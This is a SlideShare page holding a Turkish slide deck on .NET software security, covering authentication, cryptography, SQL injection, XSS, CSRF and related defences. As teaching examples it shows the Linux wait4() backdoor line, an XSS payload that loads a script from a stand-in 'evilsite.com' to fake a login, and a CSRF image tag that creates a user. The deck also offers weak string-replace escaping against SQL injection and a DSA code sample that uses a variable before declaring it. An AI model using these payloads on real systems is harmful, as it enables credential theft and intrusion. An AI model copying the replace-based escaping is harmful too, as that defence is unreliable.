.Net ile Yazılım
Güvenliği
A.Kutlu Ersoy,MSc.
.Net ile Yazılım Güvenliği
• Güvenli Uygulama ne demektir?
o Ağ Güvenliği
o Sistem Güvenliği
o Uygulama Güvenliği
o Verita...
Neden güvenliğe
ihtiyacımız var?
1. Hidden Trapdoor in Linux, Nov 2003
Wait4() fonksiyonunun içine :
if( ((options == (-WC...
Saldırıların artmasının
ardında yatan sebepler:
• Güvenlik konusunun akademik olarak tam anlamıyla
işlenmemesi
• Programla...
Ağ ve Sistem Güvenliği
• Yazılımcı açısından bilinmesi gerekenler
• APN
• DOS Attacks .... Syn proxy ile korunma
• Windows...
Uygulama Güvenliği
• IIS nedir?
• ApplicationDomain nedir?
• Anonymous Access enabled =>
IUSR_MACHINENAME
• Authentication...
Uygulama Güvenliği
• Anonymous Authentication: tüm kullanıcılar siteye erişir.
• Basic Authentication: Windows logini ile ...
Uygulama Güvenliği
• web.config authorization
• Web.config authentication providers :
o Windows (default)
o Forms
o Passpo...
Uygulama Güvenliği
• Sertifika kullanımı
o VERISIGN
o GEOTRUST
o COMODO
o GLOBALSIGN
o vs...
o TurkTrust : http://www.turk...
Kriptografi
• Hashing (MD5 => SHA-2(c# : SHA512Managed))
o Password Hashing
o URL Hashing
• Örnek uygulama...
Kriptografi
• Zaman Damgası
• Örnek uygulama...
• Simetrik(ör: DES, 3DES, AES : Rijndael, RC4, vs.)
Rijndael Key length
128, 192 and 256 bit
• Asimetrik Şifreleme (ör:DSA...
Kriptografi
• E-İmza
• Kullanacağınız sertifikaları Devlet'in sertifika
dağıtmaya izin verdiği belirli ESHS adı verilen
ku...
Kriptografi
• E-İmza ile nasıl imza atılır?
byte[] data = Encoding.Unicode.GetBytes(this.txtSend.Text);
//sha1 crypto serv...
Kriptografi
• E-İmza nasıl doğrulanır?
byte[] data = Encoding.Unicode.GetBytes(this.txtRecieved.Text);
//sha1 crypto servi...
Kod Güvenliği
• Disassembler ile kodun açılmasına karşı önlemler
o .Net Protector
o IL Protector
o SmartAssembly
o Xenecod...
HttpHandler
• Dosyalara erişimi kontrol altına almak için
kullanılabilir.
• Portal sitelerinde ürün resmi üzerine brand ek...
WCF - Servis Güvenliği
• İstemci – Servis iletişimi güvenliği :
Message Level – Transport Level
• Authantication:Windows, ...
Sql injection
• Web Uygulama Güvenliği Konsorsiyum'una (WASC)
göre 27 Temmuz 2006 tarihine kadar medyada
rapor edilen hack...
Sql injection
• En popüler otomatik web uygulama güvenliği
tarayıcılarından bazıları:
Acunetix
Watchfire
WebInspect
• Kayn...
Sql injection
• Db üzerinden administrator hakkı ile neler yapılabilir?
o Install backdoors
o Transfer an entire database ...
Sql injection
• Nasıl korunurum ?
• 1.string safeSql = "select * from users where loginId = " + userInp
ut.Replace("—-", "...
Cross-Site Scripting (XSS)
• Nedir? Kullanıcı browserına zararlı script enjekte etmektir.
• Reflected(js ile sayfaya scrip...
Cross-Site Scripting (XSS)
En çok forum sitelerinde karşılaşılır.string herhangi bir
değer html encoded dan geçmemiş ise b...
Cross-Site Scripting (XSS)
Nasıl Tespit Ederim:
ZAP: Zed Attack
Proxy toolu ile
tarama yaparım.
Cross-Site Scripting (XSS)
• Nasıl korunurum ?
• 1. Outputlarımın HTML-Encoded olduğunu kontrol
etmeliyim.(HttpUtility.Htm...
Cross-Site Scripting (XSS)
• Nasıl korunurum ?
• 6. ASP.NET MVC 3’de
public class BlogEntry
{
public int UserId {get;set;}...
Cross-Site Request
Forgery (CSRF)
Admin yetkisi ile yaptığın işlem ile ilgili olarak sana
gönderilen bir mail içinde
<img ...
Cross-Site Request
Forgery (CSRF)
void Page_Init(object sender, EventArgs e)
{
if (Session.IsNewSession)
{
// Force sessio...
Cross-Site Request
Forgery (CSRF)
MVC de CSRFi önlemek için ne eklemeliyim?
@using (Html.BeginForm())
{
@Html.AntiForgeryT...
Parametrelerle Oynama
(Parameter Tampering)
• http://server/EditUser.aspx?userID=15
string userId = Request.QueryString["u...
Broken Authentication
and Session Management
• Tam olarak güvenliği sağlanmamış ( örneğin md5
veya benzeri bir algoritma i...
Broken Authentication
and Session Management
• Kullanıcı şifreleri hashli veya encrypted mı tutuluyor?
• Kullanıcı adı ve ...
Insecure Direct Object
References
• Resourceslara veya sayfalara yetkisiz erişimi kontrol
etmeliyim.
• Sayfalara erişim iç...
Security Misconfiguration
• Path traversal bunlardan biridir. IIS de IISPool
kullanıcısı ile çalıştığından roota çıkamaz, ...
Sensitive Data Exposure
(Hassas veriyi açıkta bırakma)
• Kredi kartı, kişisel bilgi, hasta bilgileri, vergi bilgileri
gibi...
Sensitive Data Exposure
(Hassas veriyi açıkta bırakma)
• Nasıl korunurum?
• Sertifika kullanırım.
• Autocomplete’i ilgili ...
Captcha
• Örnek uygulama...
Upcoming SlideShare
Loading in …5
×

.Net ile yazılım güvenliği

3,874 views

Published on

0 Comments
3 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
3,874
On SlideShare
0
From Embeds
0
Number of Embeds
1,538
Actions
Shares
0
Downloads
1
Comments
0
Likes
3
Embeds 0
No embeds

No notes for slide

.Net ile yazılım güvenliği

  1. 1. .Net ile Yazılım Güvenliği A.Kutlu Ersoy,MSc.
  2. 2. .Net ile Yazılım Güvenliği • Güvenli Uygulama ne demektir? o Ağ Güvenliği o Sistem Güvenliği o Uygulama Güvenliği o Veritabanı Güvenliği o Disk Güvenliği o Servis Güvenliği o Kod Güvenliği • Kriptografi (Şifreleme) Teknikleri • Saldırıları Tanıma • Korunma Yöntemleri
  3. 3. Neden güvenliğe ihtiyacımız var? 1. Hidden Trapdoor in Linux, Nov 2003 Wait4() fonksiyonunun içine : if( ((options == (-WCLONE | -WALL )) && (current -> uid = 0)) retval = -EINVAL; Kullanımı : wait4(tmp,NULL,__WALL|__WCLONE,NULL); 2. ROB HARRIS CASE : Slot Machines o Gaming Control Board ( bu cihazları test eden rob test ederken programa kod ekleyip para atma sequence’ına gore kazanma durumuna geçiyor makina)bir kişi bir seferde 100bin dolar kazanana kadar farkedilmiyor 3. CRISTOPHER HARN -> at yarışlarında telefon ile kayıt alan bir sistemde telefon şirketinden itibaren kazanan kombinasyona gore girişi değiştirecek kodu yazıyor.bir seferde 3milyon dolar kazanana kadar farkedilmiyor)
  4. 4. Saldırıların artmasının ardında yatan sebepler: • Güvenlik konusunun akademik olarak tam anlamıyla işlenmemesi • Programlama kitaplarında güvenlik konularının geçmemesi • Oditing mekanizmasının olmaması (Attackların geç farkedilmesi) • C programlama dilinin unsafe çalışması* • Programcılar üşengeçtirler, nasıl olsa buraya birşey olmaz • Değiştirilmesi imkansız olan, içinde açıklar olan özellikle eski programlar • Müşterilerin güvenliği önemsememesi • Güvenliğin sağlanması ek zaman ve maliyet gerektiriyor
  5. 5. Ağ ve Sistem Güvenliği • Yazılımcı açısından bilinmesi gerekenler • APN • DOS Attacks .... Syn proxy ile korunma • Windows Patches • Malware & Virus • Penetrasyon testi
  6. 6. Uygulama Güvenliği • IIS nedir? • ApplicationDomain nedir? • Anonymous Access enabled => IUSR_MACHINENAME • Authentication Anonymous Authentication Basic Authentication Integrated Windows Authentication Digest Authentication
  7. 7. Uygulama Güvenliği • Anonymous Authentication: tüm kullanıcılar siteye erişir. • Basic Authentication: Windows logini ile authentikasyon yapılır. Siteye bağlanıldığında dialog box ile kullanıcı adı şifre ekranı açılır. • Digest Authentication: Basic Authentication gibi çalışır fakat authentication verisi sunucuya açık metin yerine hash kodu ile iletilir. • Forms Authentication: ASP.NET’s kendi authentication modelidir, login page ile giriş yapılmasını sağlar • Windows Authentication: NTLM veya Kerberos üzerinden Windows authentication protokolünü kullanır.
  8. 8. Uygulama Güvenliği • web.config authorization • Web.config authentication providers : o Windows (default) o Forms o Passport o None <system.web> <!-- mode=[Windows|Forms|Passport|None] --> <authentication mode="Windows" /> </system.web> • Event logging
  9. 9. Uygulama Güvenliği • Sertifika kullanımı o VERISIGN o GEOTRUST o COMODO o GLOBALSIGN o vs... o TurkTrust : http://www.turktrust.com.tr/ssl-destek-iis7-ssl-yukleme.html o E-Guven o KamuSM
  10. 10. Kriptografi • Hashing (MD5 => SHA-2(c# : SHA512Managed)) o Password Hashing o URL Hashing • Örnek uygulama...
  11. 11. Kriptografi • Zaman Damgası • Örnek uygulama...
  12. 12. • Simetrik(ör: DES, 3DES, AES : Rijndael, RC4, vs.) Rijndael Key length 128, 192 and 256 bit • Asimetrik Şifreleme (ör:DSA, RSA) Kriptografi
  13. 13. Kriptografi • E-İmza • Kullanacağınız sertifikaları Devlet'in sertifika dağıtmaya izin verdiği belirli ESHS adı verilen kuruluşlardan alabilirsiniz. Bunların dışındaki yerlerden aldığınız (Verisign gibi) sertifikalar yasal olarak anlamlı değildir. • https://yazilim.kamusm.gov.tr/
  14. 14. Kriptografi • E-İmza ile nasıl imza atılır? byte[] data = Encoding.Unicode.GetBytes(this.txtSend.Text); //sha1 crypto service, digital signatures are created from the hash SHA1 sha = new SHA1CryptoServiceProvider(); byte[] hash = sha.ComputeHash(data); //Create a new instance of DSACryptoServiceProvider. //DSA contains asymmetric public and private key information DSACryptoServiceProvider DSA = new DSACryptoServiceProvider(); //TODO, load the sender private key into DSACryptoService here. //Create an DSASignatureFormatter object and pass it the //DSACryptoServiceProvider to transfer the key information. DSASignatureFormatter DSAFormatter = new DSASignatureFormatter(DSA); //Set the hash algorithm to SHA1. DSAFormatter.SetHashAlgorithm("SHA1"); //Create a signature from the hash byte[] signature = DSAFormatter.CreateSignature(hash);
  15. 15. Kriptografi • E-İmza nasıl doğrulanır? byte[] data = Encoding.Unicode.GetBytes(this.txtRecieved.Text); //sha1 crypto service, digital signatures are created from the hash SHA1 sha = new SHA1CryptoServiceProvider(); byte[] hash = sha.ComputeHash(data); //Create an DSASignatureDeformatter object and pass it the //DSACryptoServiceProvider to transfer the key information. DSASignatureDeformatter DSADeformatter = new DSASignatureDeformatter(DSA); //Create a new instance of DSACryptoServiceProvider. //DSA contains asymmetric public and private key information DSACryptoServiceProvider DSA = new DSACryptoServiceProvider(); //TODO, the sender public key into DSACryptoService here. //get the signature sent with the message byte[] signature = GetMessageDigitalSignature(); //Verify the hash and the signature if (DSADeformatter.VerifySignature(hash, signature)) { MessageBox.Show("The signature was verified."); } else { MessageBox.Show("The signature was not verified."); }
  16. 16. Kod Güvenliği • Disassembler ile kodun açılmasına karşı önlemler o .Net Protector o IL Protector o SmartAssembly o Xenecode Fox ** Reflector ile açılmaya karşı önlem alınmamış exe/dll leri açar ve içindeki kodu değiştirebiliriz. *** Web projelerinde publish işleminden sonra oluşan ana kütüphane parçalarını birleştirmek için : «aspnet_merge . -o ProjeAdi.dll» kullanırsınız. Ana dll ve referans dll lerini SmartAssembly tarzı programlarla merge ve kod encrypt yapabilirsiniz.
  17. 17. HttpHandler • Dosyalara erişimi kontrol altına almak için kullanılabilir. • Portal sitelerinde ürün resmi üzerine brand eklemek için kullanılabilir. • Örnek uygulama...
  18. 18. WCF - Servis Güvenliği • İstemci – Servis iletişimi güvenliği : Message Level – Transport Level • Authantication:Windows, Kullanıcı Adı/ Şifre, X509(Sertifika), Özel(Biometric), None • http://codebetter.com/petervanooijen/2010/03/22 /a-simple-wcf-service-with-username-password- authentication-the-things-they-don-t-tell-you/
  19. 19. Sql injection • Web Uygulama Güvenliği Konsorsiyum'una (WASC) göre 27 Temmuz 2006 tarihine kadar medyada rapor edilen hack olaylarının %9'u SQL Enjeksiyon saldırılarından kaynaklanmıştı. Araştırmalarda elde edilen daha güncel veriler web sitelerinin %50'sinin SQL Injection saldırılarından etkilendiğini ortaya koydu.
  20. 20. Sql injection • En popüler otomatik web uygulama güvenliği tarayıcılarından bazıları: Acunetix Watchfire WebInspect • Kaynak: http://www.acunetix.com/websitesecurity/ sql-injection2.htm
  21. 21. Sql injection • Db üzerinden administrator hakkı ile neler yapılabilir? o Install backdoors o Transfer an entire database over port 80 o Install network sniffers to steal passwords and other sensitive data o Crack passwords o Enumerate your internal network, including scanning the ports of other machines o Download files o Run programs o Delete files o Become part of a botnet o Query autocomplete passwords stored on the system o Create new users o Create, delete and edit data; create and drop tables
  22. 22. Sql injection • Nasıl korunurum ? • 1.string safeSql = "select * from users where loginId = " + userInp ut.Replace("—-", "") .Replace("'","''") .Replace("%",""); • 2. Parameterized Query / SP / sp_executesql DECLARE @name varchar(20) DECLARE @sql nvarchar(500) DECLARE @parameter nvarchar(500) /* Build the SQL string one time.*/ SET @sql= N'SELECT * FROM Customer WHERE FirstName Like @Na me Or LastName Like @Name +''%'''; SET @parameter= N'@Name varchar(20)'; /* Execute the string with the first parameter value. */ SET @name = 'm%'; EXECUTE sp_executesql @sql, @parameter, @Name = @name; • 3. Kullanıcının yetkilerini kısıtlama : DataReader, DataWriter
  23. 23. Cross-Site Scripting (XSS) • Nedir? Kullanıcı browserına zararlı script enjekte etmektir. • Reflected(js ile sayfaya script gömme) vs Consistent(bu scriptin dbye yazılmasıdır artık geçmiş olsun) http://yoursite.com/editProduct.aspx?msg=Ürün bilgisi güncellendi <div class="messages"> <%=Request.QueryString["msg"]%>< /div> Nasıl kullanılır? msg=<script src=‘http://evilsite.com/evil.js’>ShowFakeLoginDialog() İle kendi login ekranını açtırır, bu dialogu sitenin veya banka login ekranına benzetir. Hata 2 : <img onmouseover=alert([user supplied text])>
  24. 24. Cross-Site Scripting (XSS) En çok forum sitelerinde karşılaşılır.string herhangi bir değer html encoded dan geçmemiş ise bu saldırıya açıktır. Neler Yapabilirim : • Cookilere ulaşırım • Login bilgilerini alırım
  25. 25. Cross-Site Scripting (XSS) Nasıl Tespit Ederim: ZAP: Zed Attack Proxy toolu ile tarama yaparım.
  26. 26. Cross-Site Scripting (XSS) • Nasıl korunurum ? • 1. Outputlarımın HTML-Encoded olduğunu kontrol etmeliyim.(HttpUtility.HtmlEncode, HttpUtility.UrlEncode) • 2. Kullanıcının girdiği stringi HTML Element attributelarına set etmem. • 3. Request.Browser ile IE6 kullanımını kısıtlarım. • 4. Web.configde veya pagede ValidateRequest=‘false’ yapmamalıyım. • 5. frame ve iframe’de security bilgisi ekle. <frame security="restricted" src="http://www.somesite.com/somepage.htm"></frame>
  27. 27. Cross-Site Scripting (XSS) • Nasıl korunurum ? • 6. ASP.NET MVC 3’de public class BlogEntry { public int UserId {get;set;} [AllowHtml] public string BlogText {get;set;} }
  28. 28. Cross-Site Request Forgery (CSRF) Admin yetkisi ile yaptığın işlem ile ilgili olarak sana gönderilen bir mail içinde <img src='yoursite/createuser.aspx?id=hacked&pwd=hacked' /> kodu bulunuyor, farkında olmadan çalıştırmış oluyorsun. Nasıl önlerim? GET ile herhangi bir operasyon yapacak kod yazmamalıyım.
  29. 29. Cross-Site Request Forgery (CSRF) void Page_Init(object sender, EventArgs e) { if (Session.IsNewSession) { // Force session to be created; // otherwise the session ID changes on every request. Session["ForceSession"] = DateTime.Now; } // 'Sign' the viewstate with the current session. this.ViewStateUserKey = Session.SessionID; if (Page.EnableViewState) { // Make sure ViewState wasn't passed on the querystring. // This helps prevent one-click attacks. if (!string.IsNullOrEmpty(Request.Params["__VIEWSTATE"]) && string.IsNullOrEmpty(Request.Form["__VIEWSTATE"])) { throw new Exception("Viewstate existed, but not on the form."); } } }
  30. 30. Cross-Site Request Forgery (CSRF) MVC de CSRFi önlemek için ne eklemeliyim? @using (Html.BeginForm()) { @Html.AntiForgeryToken(); @Html.EditorForModel(); <input type="submit" value="Submit" /> } Decorate any controllers that accept post data with the [Validat e-AntiForgeryToken], like so: [HttpPost] [ValidateAntiForgeryToken()] public ActionResult Index(User user) { ... }
  31. 31. Parametrelerle Oynama (Parameter Tampering) • http://server/EditUser.aspx?userID=15 string userId = Request.QueryString["userId"]; var user = LoadUser(userId); Hata 2. Hidden da userID’yi tutmak Çözüm : UserID’yi authantication mekanizmasından almak, diğer formlarda ID’yi validasyon functiondan geçirmek.(sessiondan kontrol edebilirsin). • MVC’de binding security kontrolü için : [HttpPost] [ValidateAntiForgeryToken] public ActionResult Edit([Bind(Exclude="UserId")] Order order) { .... Save(); }
  32. 32. Broken Authentication and Session Management • Tam olarak güvenliği sağlanmamış ( örneğin md5 veya benzeri bir algoritma ile korunmamış) oturum nesneleri ve çerezlerinin ele geçirilip kötü amaçlar için kullanılmasıdır.
  33. 33. Broken Authentication and Session Management • Kullanıcı şifreleri hashli veya encrypted mı tutuluyor? • Kullanıcı adı ve şifreler tahmin edilebilir mi? Veya CSRF ile değiştirilebiliyor mu? • Parameter tempering ile kullanıcı id değiştirilebiliyor mu? • Session timeout set edildi mi? • Nasıl tespit ederim? Firefox HackBar plug-in’i kurar ve kullanırım.
  34. 34. Insecure Direct Object References • Resourceslara veya sayfalara yetkisiz erişimi kontrol etmeliyim. • Sayfalara erişim için kontrol ettim ama resource dosyalarına erişim için ne yapabilirim? httpHandler • Nasıl tespit ederim? Burp Suite uygulaması ile tarama yaparım.
  35. 35. Security Misconfiguration • Path traversal bunlardan biridir. IIS de IISPool kullanıcısı ile çalıştığından roota çıkamaz, kendi userımı açıyorsan uygulama için o zaman klasor yetkilendirmesini de yapmalıyım. • OS, DB, Firewall, IIS güncellemelerini güncel tutmalıyım. • Kullanılmayan portlar, servisler, sayfalar, hesaplar ve yetkiler kaldırılmalıyım, ayrılan kullanıcının accountunu durdurmalıyım. • Nasıl kontrol ederim? Watobo
  36. 36. Sensitive Data Exposure (Hassas veriyi açıkta bırakma) • Kredi kartı, kişisel bilgi, hasta bilgileri, vergi bilgileri gibi dataların açıkta bırakılmasından kaynaklanır. Attackerların tespit etmesi kolay değildir. • Bu bilgilerin dışarıdan öğrenilmesi, hukuksal veya mali ne kadar bize zarar verir? • İçerdeki saldırıları göz önünde bulundurmalıyım.
  37. 37. Sensitive Data Exposure (Hassas veriyi açıkta bırakma) • Nasıl korunurum? • Sertifika kullanırım. • Autocomplete’i ilgili sayfalarda kapatırım. <form id="Form1" method="post" runat="server" autocomplete="off"> <asp:TextBox Runat="server" ID="Textbox1" autocomplete="off"></asp:TextBox>
  38. 38. Captcha • Örnek uygulama...

×